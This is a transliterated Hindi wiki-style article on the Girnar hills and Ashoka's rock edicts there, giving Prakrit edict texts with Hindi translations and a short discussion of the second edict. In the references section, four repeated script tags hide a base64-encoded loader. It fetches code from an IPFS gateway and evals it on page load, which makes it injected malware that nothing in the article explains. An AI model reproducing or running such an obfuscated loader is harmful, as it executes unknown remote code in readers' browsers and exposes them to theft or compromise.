giranar gujarat mean joonagadh ke nikat sthit paha diyaan haian. giranar ki paha diyoan se pashchim aur poorv disha mean 'bhadas', 'rohaja', 'shatarooanji' aur ghelo nadiyaan bahati haian. in paha diyoan par mukhyatah bhil aur dubala logoan ka nivas hai. in paha diyoan par maury samrat ashok ka 'chaturdash shilalekh' akiant hai.
- paha diyoan ki doosari or shak kshatrap rudradaman ka bhi abhilekh (150ee.) hai.
- is abhilekh mean maury samrat chandragupt maury ke adesh se vahaan par 'sudarshan jhil' ke nirman ka ullekh hai.
- rudradaman ke joonagadh lekh se jnat hota hai ki, samrat ashok ke samay 'tushashp' namak adhinasth yavan rajyapal ke roop mean saurashtr par shasan karata tha.
- giranar ki ek paha di ki talahati mean ashok ke shilalekh (tisari shatabdi ee.poo.) se yukt ek chattan haian.
- maury shasak chandragupt (chauthi shatabdi ee.poo. ka uttarardh) dvara sudarshan namak jhil banae jane ka ullekh bhi isi shilalekh mean milata hai.
- in do mahattvapoorn aitihasik pramanoan ke as-pas ki paha diyoan par solanki vansh (961-1242) ke rajaoan dvara banavae ge kee jain mandir bhi sthit haian.
giranar shilalekh[1]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
devanan priyo priyadasi raja yaso v kiti v n mahathavaha mannate anat tadatpano dighay ch me jano
|
devoan ka priy priyadarshi raja yash va kirti ko anyatr (paralok mean) maharthavah (bahut labh upajanevala) nahian manata. [vah] jo bhi yash va kirti chahata hai. [vah isalie ki] vartaman mean aur bhavishy mean (dirgh [kal] ke lie) mera jan (meri praja)
|
| 2.
|
dhamansustru sa sustru sataan dhanmavatu ch anuvidhiyataan [.] ekakay devanan piyo piyadasi raja yaso v kiti v ichhati '[.]
|
mere dharm ko shushroosha kare aur mere dharmavrat ka anuvidhan (acharan) kare. isalie devoan ka priy priyadarshi raja yash va kirti ki ichchha karata hai.
|
| 3.
|
yan tu kianchi parikamate devanan priyadasi raja t savan paratrikay kianti sakale apaparistrave as [.] es tu parisave y apuannan [.]
|
jo kuchh bhi devoan ka priy priyadarshi raja parakram karata hai, vah sab paralok ke lie ho. kyoan? isalie ki sab nishpap hoan.
|
| 4.
|
dukaran tu kho etan chhudaken v janen usaten v anatr agen parakramen savan parichajitpa [.] et tu kho usaten dukaran [.]
|
apuny (puny n karana) hi dosh (vidhr) hai. yah (apuny se rahit hona) bina agale (utkrisht) parakram ke [aur bina] sab [any uddeshyoan] ka parityag kiye kshudr ya b de varg (jan) se avashy dushkar hai. kiantu yah vastut: b de ke lie adhik dushkar hai.
|
giranar shilalekh[1]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
devanan piye piyadasi raja sav pasandani ch pavajitani ch gharastani ch poojayati danen ch vivadhay ch poojayati ne[.]
|
devoan ka priy priyadarshi raja sab pashandoan (panthavaloan) ko, [chahe ve] pravrajit [hoan chahe] grihasth, dan aur vividh pooja dvara poojata hai.
|
| 2.
|
n tu tatha danan v pooja v devanan piyoan mannate yatha kiti saravadhi as sav pasanjanan [.] saravadhi tu bahuvidha [.]
|
kiantu dan va pooja ko devoan ka priy vaisa nahian manata jaisa yah ki sab pashandoan (panthavaloan) ki saravriddhi ho. saravriddhi to bahu prakar ke hai.
|
| 3.
|
tasatas tu idan moolan y vachiguti kianti atpapaansandapooja v parapasand garaha v no bhave apakaranamhi lahuka v as
|
kiantu usaka mool vachogupti (vaksanyam) hai. yah kis prakar? [is prakar ki] apane pashand (panth) ki pooja athava doosare pashandoan (panthoan) ki gahaan (ninda) n ho aur bina prasang ke [unaki laghuta (halakaee) n ho.
|
| 4.
|
tamhi prakarane [.] poojetaya tu ev parapasanda ten ten prakaranen [.] evan karuan atpapasandan ch vadhayati parapasandas ch, upakaroti[.]
|
us-us avasar par (vishesh-vishesh avasaroan par) par-pashand (doosara panth) bhi us-us dhang se bhinn-bhinn dhangoan se) poojaniy hai. aisa karata hua manushy apane pashand (panth) ko badhata hai aur doosare pashand (panth) ka upakar karata hai.
|
| 5.
|
tadannatha karoto atpapasandan ch chhanati parapasandas, ch pi apakaroti [.] yo hi kochati atpapasandan poojayati parasasandan v garahati
|
tadvipit karata hua [manushy] apane pashand (panth) ko kshin karata hai. aur doosare pashand (panth) ka apakar karata hai. kyoanki jo koee apane pashand (panth) ko poojata hai va doosare pashand (panth) ki garha (ninda) karata hai,
|
| 6.
|
savan atpapasandabhatiya kianti atpapasandan dipayem iti so ch pun tath karato atpapasandan badhataran upahanati [.] t samavayoan ev sadhu
|
vah apane pashand (panth) k prati bhakti se athava apane pashand (panth)ko dipt (prakashit) karane ke lie hi. aur vah phir vaisa karata hua apane pashand (panth) ko hani pahuanchata hai. isalie samavay melajol hi achchha hai.
|
| 7.
|
kianti anamanans dhansan strunaru ch susanser ch [.] evan hi devanan piyas ichha kianti sab pasanda bahustruta ch asu kalanagama ch asu [.]
|
yah kaise/ aise ki [log] ek-doosare ke dharm ko sunean aur shushroosha (seva) karean. kyoanki aisi hi devoan ke priy ki ichchha hai. kya? ki sab pashand (panthavale) bahushrut aur kalyanagam (kalyanakarak jnanavale) hoan.
|
| 8.
|
ye ch tatr prasanna tehi vatayvan [.] devanan piyoan no tatha danan v poojaan v mannate yatha kianti saravadhi as sarvapasadanan [.] bahuka ch etay
|
aur jo vahaan-vahaan kisi panth mean sthir hoan, ve kahe jayan "devoan ka priy dan va pooja ko vaisa nahian manata, jaisa phir sab pashandoan (panthoan) ki saravriddhi ko."
|
| 9.
|
atha vyapata dhanmamahamata ch ithijhakh-mahamata ch vachabhoomika ch ane ch nikaya [.] ayan ch etas phal y atpapasandavadhi ch hoti dhanmas ch dipana [.]
|
is arth ke lie bahut dharmamahamatr, stri-adhyaksh -mahamatr, vrajabhoomik aur any nikay (svayattashasan-prapt sthaniy sansthaean) niyikt haian. isaka phal yah hai ki apane pashand (panth) ki vriddhi hoti hai aur dharm ki dipti [hoti hai].
|
giranar shilalekh[1]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
devananpri [yo piyad] si raja evan ah [.] atikraant aantar
|
devoan ka priy priyadarshi raja is prakar kahata hai- bahut kal bit gaya
|
| 2.
|
n bhootapruv save kale athakanmean v pativedana va [.] t maya evan katan [.]
|
pahale sab kal mean arth karm (rajakary, shasan sambandhi kary) va prativedana (praja ki pukar athava any sarakari kam ka nivedan, soochana ya khabar) nahian hoti thi. so mere dvara aisa kiya gaya hai.
|
| 3.
|
save kale bhuanjamanas mean orodhanamhi gabhagaramhi vachamhi v
|
sab kal mean bhojan karate hue, avarodhan (aant:pur), garbhagar, vraj (pashushala)
|
| 4.
|
vinitamhi ch uyanesu chan sarvatr pativedaka stita athe mean janas
|
vinit (vyayamashala,palaki) aur udyan (udyanoan) mean [hote hue] mujhe sarvatr prativedak (nivedak) upasthit hokar mere jan (praja) ke arth (shasan sambandhi kary) ka
|
| 5.
|
pativedeth iti [.] sarvatr ch janas athe karomi [.] y ch kianchi mukhato
|
prativedan (nivedan) karean. maian sarvatr jan (janata, praja) ka arth (shasan-sambandhi kary) karata hooan (karuanga) jo kuchh bhi maian mukh se (maukhik roop se).
|
| 6.
|
anapayami svayan dapakan va stravapakan va y va pun mahamatresu
|
dapak (dan) va shravak (ghoshana) ke lie ajna deta hooan athava pun: mahamatroan par
|
| 7.
|
achayike aropitan bhavati tay athay vivado nijhati v santoan parisayan
|
atyant avashyakata par jo [adhikar ya karyabhar] aropit hota hai (diya jata hai) us arth (shasan-sambandhi kary) ke lie parishad se vivah
|
| 8.
|
anatanr pativedetavyan mean sarvatr sarve kale [.] evan maya anapitan [.] nasti hi me toso
|
va punarvichar hone par bina vilamb ke mujhe sarvatr sab kal mean prativedan (nivedan) kiya jae. mere dvara aisi ajna di gayi hai.
|
| 9.
|
ustanamhi athansantiranay v [.] katavy mate hi me sarvalokahitan [.]
|
mujhe vastut: utthan (udyog) aur arthasantaran (rajashasanaroopi nadi ko achchhi tarah tairakar par karane) mean tosh (santosh) nahian hai. sarvalokahit vastut: mere dvara karttavy mana gaya hai.
|
| 10.
|
tas ch pun es moole ustanan ch ath-santorana ch [.] nasti hi kanmataran
|
pun: usake mool utthan (udyog) aur arthasantaran (kushatapoorvak rajakary-sanchalan) haian. sachamuch sarvalokahit ke atirikt doosara [koee adhik upadey] ka nahian hai.
|
| 11.
|
sarvalokahitatpa [.] y ch kianti parakramami ahan kiant bhootanan anannan gachheyan
|
jo kuchh maian parakram karata hooan, vah kyoan/ isalie ki bhootoan (jivadhariyoan) se urrinata ko prapt hoooan aur
|
| 12.
|
idh ch nani sukhapayami paratra ch svagan aradhayantu [.] t etay athay
|
yahaan (is lok mean) kuchh [praniyoan] sukhi karooan tatha anyatr (paralok mean) ve svarg ko prapt karean. is arth (prayojan) se
|
| 13.
|
ayan dhanmalipi lekhapita kianti chiran tistey iti tatha ch me putra pota ch prapotra ch
|
yah dharmalipi likhayi gayi ki [yah] chirasthit ho aur sab prakar mere stri, putr, pautr evan prapautr
|
| 14.
|
anuvataraan savalokahitay [.] dukaran tu idan anatr agen parakramen [.]
|
sab logoan ke hit ke lie parakram anusaran karean. bina utkrisht parakram ke yah (sarvalokahit) vastut: dushkar hai.
|
giranar shilalekh[1]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
[ayan dhanmalipi devanan priyen priyadasina rana lekhapita] [.] asti evan
|
yah dharmalipi devoan ke priy priyadarshi raja dvara likhavayi gayi.
|
| 2.
|
sankhiten asti majhamen asti vistatan [.] n ch savan savat ghatitan [.]
|
[kahian yah] sankshipt hai, [kahian] madhyam hai [aur kahian] vistrit hai. kyoanki sarvatr sab ghatit (upayukt) nahian hote.
|
| 3.
|
mahalake hi vijit bahu ch likhitan likhapayisan chev [.] asti ch et kan
|
[mera] vijit (rajy) b da (mahan) hai. [mere dvara] bahut likha gaya aur [maian] nity (lagatar, barabar) likhavaooanga.
|
| 4.
|
pun pun vutan tas athas madhooratay [.] kianti janoan tatha patipajeth [.]
|
yahaan (isamean) [kahian-kahian ek hi bat] pun: pun: (bar-bar) us arth ke madhury (madhurata) ke lie likhi (kahi) gayi hai. kyoan? [isalie ki] jan (manushy) vaisa bartav karean.
|
| 5.
|
tatr ekada asamatan likhitan as desan v sachhay karanan v
|
yah bhi ho sakata hai ki yahaan jo kuchh (ek) [adh] bar asamapt (adhoora) likha gaya ho, [vahaan] desh ke karan va karan ki poori
|
| 6.
|
alochetpa lipikaraparadhen v [.]
|
alochana ke va lipikar ke aparadh (dosh) se ho.
|
giranar ka dvitiy shilalekh[2]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
sarvat vijitatamhi devanan priyas piyadasino rano
|
devoan ke priy priyadarshi raja ke vijit (rajy) mean sarvatr tatha
|
| 2.
|
evamapi prachantesu yatha choda pada satiyaputo ketalaputo a tanb-
|
aise hi jo (usake) aant (pratyant) haian yatha-cho d (chol), paandy, satiyaputr, keralaputr (evan) tamraparni tak (aur)
|
| 3.
|
panni aantiyoko yonaraja ye va pi tas aantiyokas samipan
|
atiyok namak yavanaraj, tatha jo bhi any is aantiyok ke asapas (samip) raja (haian, unake yahaan) sarvatr
|
| 4.
|
rajanoan sarvatr devananpriyas priyadasino rano dve chikichh kata
|
devoan ke priy priyadarshi raja dvara do (prakar ki) chikitsaean (vyavasthit) huee-
|
| 5.
|
manus-chikichhach pashu-chikichha ch [.] osudhani ch yani manusopagani ch.
|
manushy-chikitsa aur pashu-chikitsa. manushyopayogi aur
|
| 6.
|
pasopagani ch yat nasti sarvatr harapitani ch ropapitani ch [.]
|
pashu-upayogi jo aushadhiyaan bhi jahaan-jahaan nahian haian sarvatr layi gayian aur ropi gayian.
|
| 7.
|
moolani ch phalani ch yat yat nasti sarvatr harapitani ch ropapitani ch [.]
|
isi prakar mool aur phal jahaan-jahaan nahian haian sarvatr laye gaye aur rope gaye.
|
| 8.
|
panthesoo koopa ch khanapita brachha ch ropapita paribhogay pasu-manusanan [.]
|
margoan (pathoan) par pashuoan (aur) manushyoan ke pratibhogi (upabhog) ke lie koop (jalashay) khudavaye gaye aur vriksh ropavaye gaye.
|
is abhilekh se prakat hota ashok ne pashu aur manushyoan ki chikitsa ki vyavastha n keval apane hi rajy mean varanh apane simavarti rajyoan mean bhi ki aur karayi thi. isake lie aushadhiyoan se sambandh rakhane vale vriksh, mool aur phal bhi lagaye the. is abhilekh se ashok ke janahit ke kary par prakash p data hai.
is abhilekh mean chol, pandy, satiyaputr, keralaputr aur tamraparni ka ullekh simavarti rajyoan ke roop mean hua hai. yahaan chol ka tanjur-tiruchirapalli pradesh, pandy se ramanathapuram - madurai - tirunaveli-kshetr aur satiyaputr se kramash: uttari aur dakshini malayalam - bhashi bhoomi se tatpary nahian hai, usaka tatpary sambhavat: sianhal se hai. ye ashok ke rajy ke dakshini simavarti rajy the, aisa pratit hota hai.
is prakar ka koee ullekh ashok ne apane poorvi aur uttari sima ke lie nahian kiya hai. uttar mean himalay tak usake rajy ka vistar tha yah usake us pradesh ke vibhinn kshetroan mean mile shasanoan se prakat hota hai. at: udhar kisi simaant rajy ke n hone ka sahaj anuman kiya ja sakata hai. kiantu poorv ke simaant parvatiy pradesh tak phaila raha hoga. kiantu abhi tak bangal aur usake age ke kisi bhi poorvi kshetr se ashok ka koee abhilekh nahian mila hai jo is bat ko pramanit kar sake. is sima ke prati yah maun ullekhaniy aur vicharaniy hai. uttar-pashchim mean ashok ke abhilekh afaganistan tak mile haian. aur unamean kuchh yavan-lipi mean bhi haian jo is bat ke praman haian ki usaki rajy-sima yavan rajy se lagi huee thi. is sima ka parichay is lekh se milata hai. isamean yavan raj aantiok ka ullekh hai. sambhavat: yah sam (siriya) naresh aantiok (dvitiy) hoga jinaka rajyakal ee. poo. 261 aur 246 ke bich tha. vah alaksandar ke suprasiddh senapati selyuki niketar ka pautr tha. usake nikatavarti rajaoan ka ullekh terahavean abhilekh mean bhi hua hai aur vahaan unake nam diye gaye haian. kadachit unhian rajaoan se yahaan bhi tatpary hai.
giranar ka tritiy shilalekh[3]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
devananpriyo piyadasi raja evan ah [.] dvadasavasabhisiten maya idan anapitan [.]
|
devoan ka priy priyadarshi raja is prakar kahata hai-barah varshoan se abhishikt hue mujh dvara yah ajna di gayi-
|
| 2.
|
sarvat vijite mam yuta ch rajooke pradesike ch panchasu vasesu anusan-
|
mere vijit (rajy) mean sarvatr yukt, rajuk aur pradeshik paanch-paanch varshoan mean jaise any [shasan sambandhi] kamoan ke lie daura karate haian, vaise hi
|
| 3.
|
yanan niyatu etayev athay imay dhanmanusastiy yatha ana-
|
is dharmanushasan ke lie bhi anusanyan (daure) ko bahar nikalean [taki dekhean]
|
| 4.
|
y pi kanmay [.] sadhu matir ch pitari ch sustroosa mita-sanstut-natinan brahman-
|
mata aur pita ki shushroosha achchhi hai; mitroan, prashansitoan (ya parachitoan), sambandhiyoan tatha brahmanoan [aur]
|
| 5.
|
samananan sadhu danan prananan sadhu anaranbho apavyayata apabhaandata sadhu [.]
|
shramanoan ko dan dena achchha hai. praniyoan (jivoan) ko n marana achchha hai. tho da vyay karana aur tho da sanchay karana achchha hai.
|
| 6.
|
parisa pi yute anapayisati gananayan hetuto ch vyanjanato ch [.]
|
parishad bhi yuktoan ko [isake] hetu (karan, uddeshy) aur vyanjan (arth) ke anusar ganana (hisab jaanchane, ay-vyay-pustak ke nirikshan) ki ajna degi.
|
giranar ka chaturth shilalekh[4]
| kramaank
|
shilalekh
|
anuvad
|
| 1.
|
anikatan aantaran bahooni basasatani vadhito evan pranaranbho vihiansa ch bhootanan jnatisu
|
bahut kal bit gaya, bahut sau varsh [bit gaye par] prani-vadh, bhootoan ki vihiansa, sambandhi ke sath
|
| 2.
|
asanpratipati brahman-strananan asanpratipati [.] t aj devananpriyas priyadasino rano
|
anusoochit bartav [tatha] shramanoan aur brahmanoan ke sath anusoochit bartav badhate hi gaye. isalie aj devoan ke priyadarshi raja ke
|
| 3.
|
dhanm-charanen bherighoso aho dhanmaghoso [.] vimanadasanna ch hastidasana ch
|
dharmacharan se bherighosh-janoan (manushyoan) ko viman-darshan, hastidarshan,
|
| 4.
|
agikhandhani ch anani ch divyani roopani dasayitpa janan yarise bahoohi vas-satehi
|
agriskandh (jyotiskandh) aur any dvivy roop dikhalakar-dharmaghosh ho gaya hai. jis prakar bahut varshoan se
|
| 5.
|
n bhoot-poove tarise aj vadhite devananpriyas priyadasino rano dhanmanusastiya anaanr-
|
pahale kabhi n hua tha, us prakar aj devoan ke priyadarshi raja ke dharmanushasan se
|
| 6.
|
bho prananan avihisa bhootanan natinan sanpatipati brahman-samananan sanpatipati matari-pitari
|
praniyoan ka analambh (n mara jana), bhootoan (jivoan) ki avihiansa, sambandhiyoan ke prati uchit bartav, brahmanoan [aur] shramanoan ke prati uchit bartav, mata [aur] pita ki
|
| 7.
|
sustrusa thairasustrusa [.] es ane ch bahuvidhe dhanmacharane vadhite [.] vadhayisati chave devananpriyo.
|
sushroosha [tatha] vriddh (sthaviroan) ki sushroosha mean vriddhi a gaya hai. ye tatha any bahut prakar ke dharmacharan vardhit hue haian.
|
| 8.
|
priyadasi raja dhanmacharan [.] putra ch potra ch prapotra ch devananpriyas priyadasino rano
|
devoan ke priy priyadarshi raja is dharmacharan ko [aur bhi] badhayega. devoan ke priy priyadarshi raja ke putr, pautr aur prapautr bhi
|
| 9.
|
pravadhayisanti idan dhanmacharanan av savatakapa dhanmamhi silamhi tistanto dhanrm anusasisanti [.]
|
is dharmacharan keyavatkalp badhayeange. dharmacharan ko shil mean [ve svayan sthit] rahate hue dharm ke anusar kareange.
|
| 10.
|
es hi seste kanme y dhanmanusasanan [.] dhanmacharane pi n bhavati asilas [.] t imamhi athamhi
|
yah dharmanushasan hi shreshth karm hai; kiantu ashil [vyakti] ka dharmacharan bhi nahian hota. so is arth (uddeshy) ki vriddhi mean jut jayan
|
| 11.
|
vadhi ch ahini ch sadhu [.] etay athay idan lekhapitan imas athas vadhi yujant hini ch
|
vriddhi aur ahani achchhi hai. is arth ke lie yah likha (likhavaya) gaya [ki log] is arth ki vriddhi mean jut jaean
|
| 12.
|
ma lochetavya [.] dvadasavasabhisiten devanaanpriyen priyadasina rana idan lekhapitan [.]
|
aur hani n dekhean. barah varshoan se abhishik devoan ke priy priyadarshi raja dvara yah likhavaya gaya.
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3
prachin bharat ke pramukh abhilekh |lekhak: d aau. parameshvarilal gupt |prakashak: vishvavidyalay prakashan, varanasi |prishth sankhya: 23-24,30,32,38 |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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prachin bharat ke pramukh abhilekh |lekhak: d aau. parameshvarilal gupt |prakashak: vishvavidyalay prakashan, varanasi |prishth sankhya: 15url= |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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prachin bharat ke pramukh abhilekh |lekhak: d aau. parameshvarilal gupt |prakashak: vishvavidyalay prakashan, varanasi |prishth sankhya: 16url= |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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prachin bharat ke pramukh abhilekh |lekhak: d aau. parameshvarilal gupt |prakashak: vishvavidyalay prakashan, varanasi |prishth sankhya: 18url= |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj